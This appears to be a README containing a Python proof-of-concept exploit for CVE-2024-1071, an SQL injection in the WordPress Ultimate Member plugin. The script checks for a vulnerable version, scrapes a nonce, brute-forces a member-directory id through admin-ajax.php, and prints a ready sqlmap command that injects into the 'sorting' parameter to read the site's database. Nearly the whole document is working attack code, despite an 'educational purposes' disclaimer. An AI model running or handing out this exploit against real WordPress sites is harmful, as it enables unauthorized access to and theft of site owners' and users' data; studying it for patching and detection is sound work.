README.md
Rendering markdown...
# CVE-2024-1071
# Ultimate Member Unauthorized Database Access Exploit / SQLi
# by Secragon
# PoC for educational/research purposes only
# Use it at your own risk!
import re
import sys
import urllib3
import hashlib
import requests
import argparse
from colorama import Fore, Style
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def check_version(target):
print(Style.RESET_ALL + "Site version:", end=' ')
try:
r = requests.get(f"{target}/wp-content/plugins/ultimate-member/readme.txt", verify=False)
version = re.search(r"Stable tag: (.*)", r.text).groups()[0]
except:
print(Fore.RED + f'error...')
exit()
if int(version.replace('.','')) > 212 and int(version.replace('.','')) < 283:
print(Fore.GREEN + f'{version} - vulnerable!')
else:
print(Fore.RED + f'{version} - not vulnerable!')
exit()
def get_nonce(target):
print(Style.RESET_ALL + "Getting nonce:", end =' ')
s = requests.Session()
try:
r = s.get(f'{target}/index.php/register/', verify=False)
nonce = re.search(r'um_scripts\s*=\s*\{[^}]*"nonce":"([^"]+)"', r.text).groups()[0]
print(Fore.GREEN + f"{nonce}")
return nonce
except:
print(Fore.RED + f'error...')
exit()
def get_directory_id(target, nonce):
print(Style.RESET_ALL + "Searching for valid directory id:", end =' ')
for num in range(1, 100):
id = hashlib.md5(str(num).encode()).hexdigest()[10:15]
payload = {
"action": "um_get_members",
"nonce": nonce,
"directory_id": id
}
response = requests.post(f'{target}/wp-admin/admin-ajax.php', data=payload)
if response.status_code == 200:
if '"success":true' in response.text:
print(Fore.GREEN + f"{id}")
return id
print(Fore.RED + f'error...')
exit()
print()
print(Fore.BLUE + "\t\t --- Ultimate Member exploit ---")
print("\t\t (unauthorized database access)")
print(Fore.RED + "\t\t\t\t by gbrsh@secragon & gnomer0x@secragon")
print(Style.RESET_ALL)
parser = argparse.ArgumentParser()
parser.add_argument('url', help='http://wphost')
if len(sys.argv) == 1:
parser.print_help()
print()
exit()
args = parser.parse_args()
check_version(args.url)
nonce = get_nonce(args.url)
dir_id = get_directory_id(args.url, nonce)
data = f'action=um_get_members&nonce={nonce}&directory_id={dir_id}&sorting=user_login'
print()
print(Style.RESET_ALL + "Perfect! Now let sqlmap do its job:")
print(f'Run: sqlmap -u {args.url}/wp-admin/admin-ajax.php --method POST --data "{data}" --dbms mysql --technique=T -p sorting')